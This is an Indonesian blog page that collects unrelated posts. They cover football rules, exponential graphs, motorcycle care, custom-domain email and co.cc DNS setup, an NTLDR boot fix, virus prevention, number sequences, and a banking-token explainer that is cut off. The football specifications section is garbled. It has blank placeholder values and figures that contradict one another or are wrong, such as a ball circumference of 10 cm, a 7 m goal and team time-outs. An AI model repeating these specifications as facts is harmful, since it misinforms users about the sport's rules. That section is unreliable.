sepakbola

Peraturan resmi permainan sepak bola (Laws of the Game) adalah:
Peraturan 1: Lapangan sepak bola
Peraturan 2: Bola
Peraturan 3: Jumlah Pemain
Peraturan 4: Peralatan Pemain
Peraturan 5: Wasit yang mengatur pertandingan
Peraturan 6: Asisten wasit
Peraturan 7: Lama Permainan
Peraturan 8: Bola Keluar dan di Dalam Lapangan
Peraturan 9: Cara Mendapatkan Angka
Peraturan 10: Offside
Peraturan 11: Pelanggaran
Peraturan 12: Tendangan bebas
Peraturan 13: Tendangan
Peraturan 14: Lemparan dalam
Peraturan 15: Tendangan gawang

Selain peraturan-peraturan di atas internasional , keputusan-keputusan Badan Asosiasi Sepak bola Daerah (IFAB) lainnya turut menambah peraturan dalam sepak bola.
[sunting]
Tujuan permainan

Dua tim yang masing-masing terdiri dari 11 orang bertarung untuk memasukkan sebuah bola bundar ke gawang lawan ("mencetak gol"). Tim yang mencetak lebih banyak gol adalah sang pemenang (biasanya dalam jangka waktu 90 menit, tetapi ada cara lainnya untuk menentukan pemenang jika hasilnya seri). akan diadakan pertambahan waktu 2x 15 menit dan apabila dalam pertambahan waktu hasilnya masih seri akan diadakan adu penalti yang setiap timnya akan diberikan lima kali kesempatan untuk menendang bola ke arah gawang dari titik penalti yang berada di dalam daerah kiper hingga hasilnya bisa ditentukan. Peraturan terpenting dalam mencapai tujuan ini adalah para pemain (kecuali penjaga gawang) tidak boleh menyentuh bola dengan tangan mereka selama masih dalam permainan.
[sunting]
Taktik Permainan

Taktik yang biasa dipakai oleh klub-klub sepak bola adalah sebagai berikut:
4-4-2 (klasik: empat pemain belakang/skipper)
4-4-2 (dengan dua gelandang sayap)
4-4-1-1 (2 pasang gelandang sayap,satu gelandang serang dan striker tunggal)
4-2-4 (2 sayap)
4-3-2-1 (3 pemain gelandang tengah,2 gelandang serang,dan striker tunggal)
4-3-1-2 (4 bek,3 gelandang bertahan,1 penyerang lubang,2 striker)
4-5-1 (4 bek,2 sayap,3 gelandang,1 striker)
4-3-3 (4 bek,3 gelandang bertahan,2 striker sayap,1 striker tengah)
4-2-3-1 (2 bek tengah,2 bek sayap, 2 winger,1 penyerang lubang,1 striker)
4-3-3 (2 bek sayap,2 bek tengah,2 sayap,1 gelandang bertahan,3 striker tengah)
4-1-4-1 (4 bek,1 gelandang bertahan,4 gelandang,1 striker)
3-4-3 (dengan winger)
3-5-2 (dengan libero/sweeper)
3-5-2 (tanpa libero/sweeper)
3-6-1
5-4-1

Taktik yang dipakai oleh sebuah tim selalu berubah tergantung dari kondisi yang terjadi selama permainan berlangsung. Pada intinya ada tiga taktik yang digunakan yaitu; Bertahan, Menyerang, dan Normal.
[sunting]
Ofisial

Sebuah pertandingan diperintah oleh seorang wasit yang mempunyai "wewenang penuh untuk menjalankan pertandingan sesuai Peraturan Permainan dalam suatu pertandingan yang telah diutuskan kepadanya" (Peraturan 5), dan keputusan-keputusan pertandingan yang dikeluarkannya dianggap sudah final. Sang wasit dibantu oleh dua orang asisten wasit (dulu dipanggil hakim/penjaga garis). Dalam banyak pertandingan wasit juga dibantu seorang ofisial keempat yang dapat menggantikan seorang ofisial lainnya jika diperlukan.selain itu juga mereka membutuhkan alat-alat untuk membantu jalannya pertandingan seperti:
papan pengganti pemain
meja dan kursi
[sunting]
Peraturan
[sunting]
Lapangan permainan

Ukuran lapangan standar
Ukuran: panjang 100-110 m x lebar 64-75 m
Garis batas: garis selebar ... cm, yakni garis sentuh di sisi, garis gawang di ujung-ujung, dan garis melintang tengah lapangan; ... m lingkaran tengah; tak ada tembok penghalang atau papan
Daerah penalti: busur berukuran 18 m dari setiap pos
Garis penalti: ... m dari titik tengah garis gawang
Garis penalti kedua: ... m dari titik tengah garis gawang
Zona pergantian: daerah ... m (... m pada setiap sisi garis tengah lapangan) pada sisi tribun dari pelemparan
Gawang: lebar 7 m x tinggi 2,5 m
Permukaan daerah pelemparan: halus, rata, dan tak abrasif
[sunting]
Bola
Ukuran: 68-70 cm
Keliling:10 cm
Berat: 410-450 gram
Lambungan: 1000 cm pada pantulan pertama
Bahan: karet atau karet sintetis (buatan)
[sunting]
Tim
Jumlah pemain maksimal untuk memulai pertandingan: 11, salah satunya penjaga gawang
Jumlah pemain maksimal keluar lapangan(tidak termasuk cedera): 4
Jumlah pemain cadangan maksimal: 12
Jumlah wasit: 1
Jumlah hakim garis: 2-4
Batas jumlah pergantian pemain: 3 kecuali pertandingan uji coba
[sunting]
Perlengkapan permainan
Kaos bernomor (sejak tahun 1954)
Celana pendek
Kaos kaki
Pelindung tulang kering
Alas kaki bersolkan karet
[sunting]
Lama permainan
Lama normal: 2x45 menit
Lama istirahat: 15 menit
Lama perpanjangan waktu: 2x15 menit (bila hasil masih imbang setelah 2 x 45 menit waktu normal)
Ada adu penalti jika jumlah gol kedua tim seri saat perpanjangan waktu selesai.
Time-out: 1 per tim per babak; tak ada dalam waktu tambahan
Waktu pergantian babak: maksimal 15 menit
[sunting]
Wasit sebagai pengukur waktu resmi

Wasit yang memimpin pertandingan sejumlah 1 orang dan dibantu 2 orang sebagai hakim garis. Kemudian dibantu wasit cadangan yang membantu apabila terjadi pergantian pemain dan mengumumkan tambahan waktu. Pada Piala Dunia 2006, digunakan ofisial ke-lima. Penggunaan 2 wasit sempat dicoba pada copa italia.Penggunaan 4 hakim garis kabarnya juga dicoba di piala dunia 2010,dimana 2 diantaranya berada di belakang gawang.
[sunting]
Percobaan penggunaan gol emas dan gol perak

Lihat: Gol perak; Gol emas.

Pada akhir 1990-an, IFAB mencoba membuat pertandingan lebih mungkin berakhir tanpa memerlukan adu penalti, yang sering dianggap sebagai cara yang kurang tepat untuk mengakhiri pertandingan.

Contohnya adalah sistem gol perak yang mengakhiri pertandingan jika sebuah gol dicetak pada perpanjangan waktu pertama, dan gol emas yang mengakhiri pertandingan jika sebuah gol dicetak pada perpanjangan waktu kedua.

Kedua sistem ini telah dihentikan oleh IFAB.
[sunting]
Kejuaraan internasional besar

Kejuaraan internasional terbesar di sepak bola ialah Piala Dunia yang diselenggarakan oleh Fédération Internationale de Football Association. Piala Dunia diadakan setiap empat tahun sekali. Lebih dari 190 timnas bertanding di turnamen kualifikasi regional untuk sebuah tempat di babak final. Turnamen babak final yang berlangsung selama empat minggu kini melibatkan 32 timnas (naik dari 24 pada tahun 1998).

Kejuaraan internasional yang besar di setiap benua adalah:
Eropa: Piala Eropa atau dikenal dengan nama Euro
Amerika Selatan: Copa América
Afrika: Piala Afrika
Asia: Piala Asia
Amerika Utara: Piala Emas CONCACAF
Oseania: Piala Oseania
[sunting]
Piala dunia mini (piala konfederasi)

Ajang tingkat klub terbesar di Eropa adalah Liga Champions, sementara di Amerika Selatan adalah Copa Libertadores. Di Asia, Liga Champions Asia adalah turnamen tingkat klub terbesar.

Sepak bola sudah dimainkan di Olimpiade sejak tahun 1900. (kecuali pada Olimpiade tahun 1932 di Los Angeles). Awalnya ini hanya untuk pemain-pemain amatir saja, namun sejak Olimpiade Los Angeles 1984 pemain profesional juga mulai ikut bermain, disertai peraturan yang mencegah negara-negara daripada memainkan tim terkuat mereka. Pada saat ini, turnamen Olimpiade untuk pria merupakan turnamen U-23 yang boleh ditamnbahi 3 pemain di atas umur. Akibatnya, turnamen ini tidak mempunyai kepentingan internasional dan prestise yang sama dengan Piala Dunia, atau bahkan dengan Euro, Copa America atau Piala Afrika.

Sebaliknya, turnamen Olimpiade untuk wanita membawa prestise yang hampir sama seperti Piala Dunia Wanita FIFA; turnamen tersebut dimainkan oleh tim-tim internasional yang lengkap tanpa batasan umur.
[sunting]
Sepak bola di Indonesia

Permainan sepak bola di Indonesia juga berkembang pesat. Ini ditandai dengan berdirinya Persatuan Sepak Bola Seluruh Indonesia (PSSI) pada tahun 1930 di Yogyakarta yang diketuai oleh Soeratin Sosrosoegondo. Untuk menghargai jasanya, mulai tahun 1966 diadakan kejuaraan sepak bola Piala Soeratin (Soeratin Cup) yakni kejuaraan sepak bola tingkat taruna remaja. Pada saat ini permainan sepak bola digemari oleh hampir seluruh lapisan masyarakat di Indonesia.
[sunting]
Lihat pula Portal Sepak bola

[sunting]
Organisasi
Fédération Internationale de Football Association (FIFA) (dunia)
UEFA (eropa)
CONMEBOL (amerika latin)
CONCACAF (amerika)
AFC (asia)
CAF (afrika)
OFC (oseania)

Jenis lainnya
Sepak bola wanita
Sepak bola Paralimpik (untuk orang cacat)
Sepak bola ruangan (indoor): five a side football, futsal dan indoor soccer
futsal
Sepak bola tarkam
»»  READMORE...

Konsep Fungsi Eksponen

Untuk menggambar grafik fungsi eksponen dan fungsi logaritma dengan bilangan pokok 0 < a < 1, kalian dapat menggunakan prinsip yang sama seperti pada bilangan pokok  a > 1, yaitu terlebih dahulu gambarkan grafik fungsi eksponennya. Kemudian, cerminkan terhadap garis  y =  x untuk mendapatkan inversnya, yaitu fungsi logaritma.

Sekarang, coba gambar grafik fungsi f(x) = 1/2 x dan inversnya, yaitu g(x)=1/2 log x dalam satu sumbu koordinat. Untuk memudahkan menggambar kedua grafik fungsi ini, terlebih dahulu buatlah tabel nilai x seperti berikut.




Setelah itu, gambarkan titik-titik tersebut pada koordinat Cartesius.Lalu, hubungkan dengan kurva mulus, sehingga diperoleh grafik f(x)=(1/2) x
»»  READMORE...

Tips Trick merawat Sepeda motor

Tips and trik merawat mesin sepeda motor Setiap pengguna sepeda motor pasti berharap bisa mengendarainya untuk jangka panjang. Untuk itu pemilik sepeda motor harus memperhatikan perawatan mesin karena kondisi mesin sepeda motor tergantung dari pemeliharaan dan kebiasaan pemiliknya dalam mengendarai. So tak ada salahnya Anda cermati tips dan trik tentang merawat mesin sepeda motor berikut:

- Tanda-tanda kerusakan
Pada umumnya setiap kerusakan pasti akan terdapat tanda-tanda terlebih dahulu kecuali jika terjadi hal-hal yang menyimpang misalnya kecelakaan. Untuk mengantisipasinya maka perhatikan apabila ada gejala yang tidak normal/tidak seperti biasanya pada sepeda motor Anda. Sikap demikian akan membantu dan memudahkan Anda untuk mendeteksi kerusakan lebih dini.

- Cermati kerusakan
Apabila terjadi kerusakan mesin maka perbaikan tidak boleh ditunda lebih lama dengan kata lain harus segera
diperbaiki. Namun ingat, jika Anda tidak punya cukup keahlian jangan sekali-sekali membongkar dan memperbaikinya seorang diri. Karena disamping buang waktu dan tenaga maka kerusakan bisa jadi akan tambah parah. Lebih baik segera Anda bawa ke bengkel.

- Kerusakan beruntun
Apabila sepeda motor Anda mengalami gejala kerusakan yang berturut-turut dan lebih dari satu sebab maka
cara yang paling tepat adalah periksalah bagian-bagian yang mudah dicapai terlebih dahulu satu per satu baru
kemudian ke bagian-bagian lain. Anda bisa membawanya ke bengkel dengan keterangan yang lengkap jadi akan memudahkan mekanik nya untuk memperbaikinya.

- Kerusakan kecil
Apabila terjadi kerusakan kecil di jalan seperti kerusakan pada mur, baut, kabel-kabel, kebocoran
bensin/oli yang tidak memerlukan pembongkaran mesin yang ruwet maka Anda bisa melakukan perbaikan sendiri. Akan tetapi jika kerusakan yang terjadi mengakibatkan patahnya komponen utama dan memerlukan pembongkaran mesin Anda harus membawanya ke bengkel service.

Nah, tak sulit bukan jika Anda mulai mencoba bersahabat dengan kendaraan sendiri, semakin rajin merawat, tentu semakin sedikit biaya yang bakal anda kelurkan

blog tutorial www.soloboys.blogspot.com
»»  READMORE...

Membuat Email dengan domain sendiri

Tentunya kita pingin dong punya email dengan nama domain kita sendiri, misal namamu@domainmu.com. Nha sekarang ini google menyediakan fasilitas untuk membuat email seperti itu dengan cara yang lumayan mudah. Tapi sayangnya saat ini fasilitas tersebut belum bisa digunakan untuk blog yg masih menggunakan domain blabla.blogspot.com. Fasilitas ini hanya untuk yang memiliki domain sendiri, misal domainmu.com , .net. .org . dan top level doamin lainnya. Makanya itu bagi yang pengen, cepetan beli domain, aku sarankan beli di dodoldomain.com, murah lho (promosi...he..he..). Trus yang pake domain "co.cc" bisa gak? aku bilang "bisa", tapi sekarang aku pingin bahas yang pake domain .com/.net/.org, dll dulu. bagi yang punya domain "co.cc" sabar dulu ya.
Ok mari kita mulai tutorialnya bagaimana cara membuat email sendiri.

1. Buka alamat ini : http://www.google.com/a/cpanel/domain/new
2. maka km akan langsung disuguhi form seperti ini:




3. Isikan nama domain kamu didalam form tersebut lalu klik tombol "Get Started"
4. Kemudian akan muncul fomr lagi untuk mengisikan data-data yang diperlukan, Kalo sudah diisi klik "Continue"
5. Setelah itu akan muncul menu2 seperti ini :



6. Klik pada link "Activate email".
7. Setelah itu akan muncul lagi halaman untuk "Setup Email Delivery" , itu untuk setting MX Record. Caranya yaitu dengan mengisikan MX Record km dengan data2 yang ada disana. Datanya seperti ini :

MX Server address
Priority
ASPMX.L.GOOGLE.COM.
10
ALT1.ASPMX.L.GOOGLE.COM.
20
ALT2.ASPMX.L.GOOGLE.COM.
20
ASPMX2.GOOGLEMAIL.COM.
30
ASPMX3.GOOGLEMAIL.COM.
30
ASPMX4.GOOGLEMAIL.COM.
30
ASPMX5.GOOGLEMAIL.COM.
30


Bagi yang menggunakan DNS setting dari DNS park caranya yaitu : Klik domain kamu yg berada di "Domain list". Setelah itu pilihan "Type" pilih yg "MX". Pada kolom "Mail Domain" kosongi saja kolom tersebut. Pada kolom "Order" isikan data2 "Priority" diatas. Trus pada kolom "mail server" isikan dengan data "MX Server Address" diatas kemudian klik tombol "Update All". begitu terus sampai data diatas dimasukkan semua.

Bagi yang menggunakan DNS setting dari dodoldomain.com caranya : masuk ke menu "Domain-->LIst last 10", trus klik link "Managed DNS", kemudian klik tombol Manage DNS Record. Setelah itu klik tombol "MX Records" trus klik tombol "Add MX Record". Untuk kolom "Value" pilih yg bawah (yg "Type In A Fully Qualified Domain Name eg. abc.pqr.com.') . isikan data "MX Server address" di kolom tersebut. kemudian isikan data "Priority" dikolom "MX Priority". begitu terus sampai selesai semua data dimasukkan.
8. kalo sudah selesai klik tombol " I have completed these steps". Maka akan muncul page seperti ini lagi.



9. Sebenarnya sampai disini sudah bisa selesai, tp untuk membuka email km, km harus mengetikkan alamt URL seperti ini "http://mail.google.com/a/domainmu.com" . Nha klao misalnya km pingin menggantinya menjadi seperti : "http://mail.domainmu.com" maka ikuti lagi langkah berikut ini.

10. Klik link "Email" maka akan muncul halaman "Email setting"
11. Trus klik link "Change URL" , kemudian akan muncul halaman untuk "Change URL for email".
12. PIlih yg "custom" trus klik tombol "Continue".
13. Setelah itu km setting dulu DNS km, Tambahkan "CNAME Records" dan isikan "mail" di kolom "Hostname" dan isikan "ghs.google.com" dikolom http://naldoton.blogspot.com"Value"
14. Setelah itu klik tombol "I have complete these step"

Nha sekarang km sudah bisa memiliki email dengan nama doamin blogmu sendiri. Untuk setting2 lainnya pelajari sendiri ya. Udah capek nih.....
»»  READMORE...

Setting domain di co.cc

Seperti yang sudah kita ketahui, bahwa co.cc adalah top level domain yang bisa kita dapatkan secara gratis. Kita bisa mengganti nama blog kita dari "http://namadomain.blogspot.com" atau "http"//namadomain.wordpress.com" (dll) menjadi "http://namadomain.co.cc" . Dengan co.cc kita bisa mengontrol DNS Records, A, MX, dan CNAME records, sehinga domain co.cc bukan hanya sekedar "URL Forwarding".
Berikut ini akan saya coba mengungkapkan tentang cara setting domain di co.cc:

Ada 3 tipe pengaturan di co.cc. Ketiganya memiliki fungsi tersendiri. berikut ini penjelasanya:

1. Managed DNS
Ini biasanya digunakan untuk sebuah web yang memerlukan web hosting dan mengharuskan untuk mengarahkan Name Server-nya ke hosting tersebut. Misal untuk membuat web di 000webhost, atau bisa juga untuk blog wordpress yg menggunakan hosting dari luar. Metode ini tidak cocok digunakan untuk blogger/blogspot yang menggunakan hosting default dari blogger/blogspot.
Cara setting untuk metode ini yaitu dengan mengisi pada kolom "Name Server 1 dan Name Server 2 dengan name server yg sesuai dengan hosting yang digunakan. Misal, bagi yang menggunakan hosting dari 000webhost maka untuk kolom "Name Server 1" disi dengan "ns01.000webhost.com" dan kolom "Name Server 2" disi dengan "ns02.000webhost.com". Kemudian klik tombol "Setup". Selesai


2. Zone Records
Zone records cocok digunakan bagi para pengguna blogger/blogspot. berikut ini cara setting untuk Zone Records
  • Pada kolom "Host" isikan dengan nama domain yg sudah km daftarkan, misal "www.namadomain.co.cc" (jangan lupa dikasih "www")
  • Untuk option "TTL" biarkan saja, gak perlu dirubah2
  • Pada option "Type" pilih yang "CNAME"
  • Untuk kolom "Value" isikan "ghs.google.com"
  • Sehingga akan seperti pada gamabr dibawah ini:

Langkah selanjutnya yaitu merubah settingan di blogger/blogspot caranya begini:
  • Login ke blogger/blogspot kemudian masuk ke menu "Setting-->Publishing"
  • Kemudian pilih "Switch to: • Custom Domain
  • Setelah itu klik pada "Already own a domain? Switch to advanced settings"
  • Kemudian isikan nama domain kamu yang baru pada kolom "Your Domain".
  • Selanjutnya klik tombol "Save Setting"

Selesai. Kalau berhasil (Settingnya sudah benar) maka domain kamu yang baru akan aktif dalam waktu antara beberapa jam sampai 2 hari. Jadi sabar aja menunggunya. Blog kamu akan tetap bisa diakses dengan melalui domain yang lama.

3. URL Forwarding
URL forwarding bisa digunakan untuk apa aja, bisa web ato blog. Tapi URL Forwarding ini hanya memforward domain yg baru (yang di co.cc) ke domain lama. Jadi domain lama akan 100% seperti semula tanpa ada perubahan apapun, cuma kita bisa mengakses web/blog kita dengan mengetikkan nama domain baru kita di browser. Jika menggunakan URL Forwarding maka yang terindex di google atau Search engine yang lain adalah tetap Domain kita yang lama.
Untuk setting URL Forwarding sangat mudah, kita hanya mengisikan data-data yang diminta dan disesuaikan dengan web/blog kita, seperti "Redirect to:, Page Title, URL Hiding, Meta Description dan Meta Keywords". Kita tidak perlu lagi mensetting domain di web/blog kita lagi.
Note: Metode ini tidak dianjurkan jika tidak terpaksa

Jadi kesimpulannya adalah:
  • Jika kamu memakai layanan blogger/blogspot maka gunakanlah "Zone Records"
  • Jika domainnya digunakan untuk web yg memerlukan hosting atau untuk wordpress maka gunakanlah "Manage DNS"
  • Jangan menggunakan "URL forwarding" jika tidak terpaksa. Misal untuk untuk blog dari multiply yang tidak support custom domain.
»»  READMORE...

NTLDR is Missing

NTLDR is Missing, kata-kata ini pasti tidak terlalu asing bagi penguna Windows Xp. NTLDR adalah file sistem pada Windows yang pertama x di baca oleh windows pada saat Start Up jadi apabila file ini hilang bisa gawat, karena Anda di pastikan ga bisa masuk ke Windows Anda dan ini juga merupakan permasalahan pada Windows XP. Biasanya nya File Sistem ini hilang akibat Virus atau anda yang menghapus nya sendiri.

Berikut ini sedikit Tips untuk memecahkan permasalahan ini :
1. Ambil CD Master Xp yang anda punya kemudian buka isi CD anda tersebut di Komputer Anda yang lain.
2. Carilah File Sistem NTLDR tersebut kemudian copy-kan file tersebut ke media penyimpanan.
3. Jika sudah Copy kan kembali File Sistem NTLDR tersebut ke dalam Hard Disk Anda tadi yang Windows nya rusak. Gimana caranya terserah deh.

Kalau masih ada masalah ? Ya Repair aja OS / Windows Anda, hehehe.
»»  READMORE...

Tips & Trik merawat PC

Gangguan pada komputer tidak saja disebabkan oleh kerusakan atau kesalahan teknis pada piranti keras dan piranti lunak. Virus dan Spyware adalah gangguan pada komputer yang disebabkan oleh pihak eksternal dengan tujuan yang beragam seperti untuk mencuri data-data anda, merusak hardware, menghapus file, menghilangkan fungsi tertentu, mengambil alih kontrol pada komputer sebagainya. Yang pasti sangat langka atau mungkin tidak ada virus dan spyware yang membawa kuntungan pada komputer yang terinfeksi.
Virus dan spyware komputer bisa menyerang komputer baik yang sering online maupun yang tidak pernah online ke internet sekalipun. Komputer yang dihubungkan dengan disket atau usb flash disk pun bisa tertular dari software yang diinstall apabila tidak hati-hati. Jika telah terinfeksi suatu virus atau spyware yang hanya aktif bila komputer terhubung dengan internet, maka si virus atau spyware akan aktif ketika komputer sedang online.

Berikut ini adalah berbagai tindak pencegahan dan perbaikan pada komputer yang terkena virus atau spyware baik yang ringan maupun yang tingkat berat.

A. Pencegahan Agar Komputer Terhindar Virus dan Spyware

1. Hati-hati pada Attachment Email
Jangan membuka file attachment pada email diterima walaupun dari orang yang teman teman kenal jika attachment tersebut mengandung file program dengan extension atau akhiran .exe, .pif, .bat, dan lain sebagainya. Baca dengan teliti email yang dikirim, apakah gaya e-mail sama dengan yang biasa dikirim. Terkadang email yang kita terima berasal dari orang sunda, tapi menggunakan bahasa inggris, rusia, cina, dll pada emailnya.

2. Pasang / Install Software Keamanan Yang Terbaru
Pastikan komputer terinstall 3 jenis software keamanan utama dan terpasang dengan setting yang otomatis mengamankan komputer, tanpa harus menyalakan terlebih dahulu. Mereka adalah anti virus untuk menangkal virus, anti spyware untuk menangkal spyware, dan firewall untuk menangkal serta memblokir serangan hacker serta koneksi dari luar. Untuk yang versi gratis dan bermutu bagus anda bisa menggunakan AVG antivirus untuk anti virus, Ad-Aware untuk antri spyware dan Zone Alarm untuk program firewall. Pastikan kesemuanya update / sudah terupdate dengan definition dan patch terbaru yang memperkecil peluang virus dan spyware varian baru melakukan infeksi pada komputer pc atau laptop Jangan lupa pula untuk menjalankan scan pada komputer secara berkala untuk membunuh virus dan spyware yang baru menginfeksi.

3. Jangan Gegabah Menginstall Software
Hati-hati terhadap software yang kita  install baik yang beli dari cd bajakan di toko-toko cd, dari download di internet, dari teman, dan lain sebagainya. Virus maupun spyware bisa saja bersembunyi pada program yang di pasang tanpa kita sadari. Biasakanlah untuk membackup semua file penting secara berkala pada flash disk, cd atau dvd agar bila terjadi sesuatu hal yang fatal, yaitu  kehilangan data.

4. Awasi User / Orang Lain Yang Memakai Komputer
Jika komputer dipakai oleh orang lain, pastikan dia tidak melakukan hal-hal yang dapat merugikan komputer kita. Kita dapat membuat account khusus untuk tamu / guest dengan batasan-batasan tertentu yang dapat seting sendiri. Seseorang yang mungkin tidak diduga bisa saja menginstall program, mencolokkan usb atau memasukkan disket yang mengandung virus atau spyware. Bahkan bisa juga memasang dengan sengaja software mata-mata untuk merekam segala aktifitas dan password yang biasa kita gunakan.

5. Waspada Selalu
Jika merasa bahwa ada sesuatu yang tidak beres pada komputer, segera putuskan dan cabut sambungan ke koneksi internet ataupun jaringan network lan. Kemudian jalankan anti virus, anti spyware dan cek firewall apakah sudah berjalan dengan baik dan semestinya. Apabila kita mendapatkan pertanyaan untuk menginstall software dari situs yang tidak jelas tolaklah mentah-mentah. Ikuti perkembangan update patch atau tambalan lubang keamanan pada setiap software yang terpasang dan mendapatkan access internet pada program firewall.

B. Perbaikan Komputer Yang Terinfeksi Virus dan Spyware

1. Matikan Internet dan File Sharing Jaringan Network
Jika komputer terhubung dengan jaringan lokal atau internet, segera putuskan dan bila perlu cabut, untuk memastikan 100% benar-benar tidak terkoneksi. Terkadang virus dan spyware memanipulasi komputer sehingga seolah-olah sudah tidak terhubung lagi dengan jaringan luar.

2. Update dan Scan
Langkah pertama untuk perbaikan jika kita  merasa ragu-ragu ataupun merasa yakin bahwa komputer terserang virus atau spyware adalah melakukan update. Update dapat dilakukan baik melalui download internet maupun secara offline jika memiliki filenya dari orang lain. Setelah terupdate dengan definition yang baru maka sebaiknya langsung melakukan scanning untuk segera menyingkirkan virus yang ditemukan.

3. Aktif Pada Komunitas Mailing List / Forum Tentang Keamanan Komputer
Semakin banyak bergabung dengan komunitas komputer, maka semakin banyak orang yang akan membantu jika sedang dalam masalah. Jangan takut dan malu untuk menanyakan masalah yang kita  hadapi biarpun masalah itu sepele. Gunakan nama samaran jika perlu. Di luar sana terdapat banyak orang yang mungkin pernah mengalami hal yang sama dengan. Di samping itu mungkin akan mendapatkan tips jalan pintas, solusi, saran, dan sebagainya dari komunitas tersebut. Biasanya virus dan spyware yang terbaru juga dibahas pada komunitas tersebut.

4. Format Harddisk Jika Tidak Ada Jalan Keluar
Jika semua cara telah dijalani dan tidak ada yang memberikan solusi yang memuaskan teman teman dapat mengambil jalan pintas terakhir, yaitu dengan memformat ulang hard disk. Pastikan data yang penting bagi teman teman sudah ada cadangannya pada medium lain yang tidak terinfeksi virus, spywre serta program jahat lainnya. Kemudian format hard drive teman teman dan install os dan program aplikasi yang biasa dipakai. Setelah semua ok, maka copy kembali file-file penting teman teman pada komputer yang fresh tersebut.

5. Jangan Sembarang Menginstall Game / Aplikasi
Bagi para gamers yang mau install game / aplikasi buat pc,
kalian harus tau dulu semua hardware dalam pc yg kalian punya,
kalau spesifikasi hardware pada CPU yang kalian punya lebih rendah dari pada yang dibutuhkan untuk menginstall game / aplikasi, maka janganlah menginstal game ataupun aplikasi itu, karena walaupun kita  telah berhasil menginstallnya dengan sukses, game / aplikasi itu tidak dapat bekerja dengan maksimal, malah membuat PC teman teman menjadi berat alias
loading lama. Contohnya jika teman teman mau menginstall DOTA / Point Blank
agar game ini dapat bekerja secara maksimal teman teman harus memiliki vga 256MB, RAM 1GB dan Hardisk yang cukup untuk menginstal game ini.
Semoga tips ini dapat berguna dan dapat menambah pengetahuan teman teman kaskuser semua

Sumber : http://www.kaskus.us/showthread.php
»»  READMORE...

Pola bilangan, Barisan , Dan deret

--==[Pola bilangan, Barisan , Dan deret]==--

A. Pola bilanagn adalah jajaran bilangan yang berbentuk bangun, misalnya: Pola bilangan segitiga, Kuadrat/persegi, Persegi panjang.

B. Barisan Bilangan adalh deretan bilangan yang dapat ditulis secara brurutan berdasar aturan tertentu, yang dimaksud aturan disini berupa rumus,bentuk aljabar, bentuk persamaan yang lainnya. Contohnya barisan bilangan ganjil : 1,3,5,7,9,.....

C. Deret Bilangan adalha barisan bilangan yang dinyatakan dengan tanda jumlah. Contoh: 1+3+5+7+.... Jumlah bilangan dapat dinyatakan dengan rumus Sn.


»»  READMORE...

Memahami Cara Kerja Token Internet Banking


photo by:hendriadi.wordpress.com

Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.

Authentication Method
Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:
  1. Something You Know
  2. Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.
  3. Something You Have
  4. Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.
  5. Something You Are
  6. Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.
Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.
Two Factor Authentication
Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.
Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking
Pada umumnya ada dua mode pemakaian token internet banking:
  1. Mode Challenge/Response (C/R)
  2. Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.
  3. Mode Self Generated (Response Only)

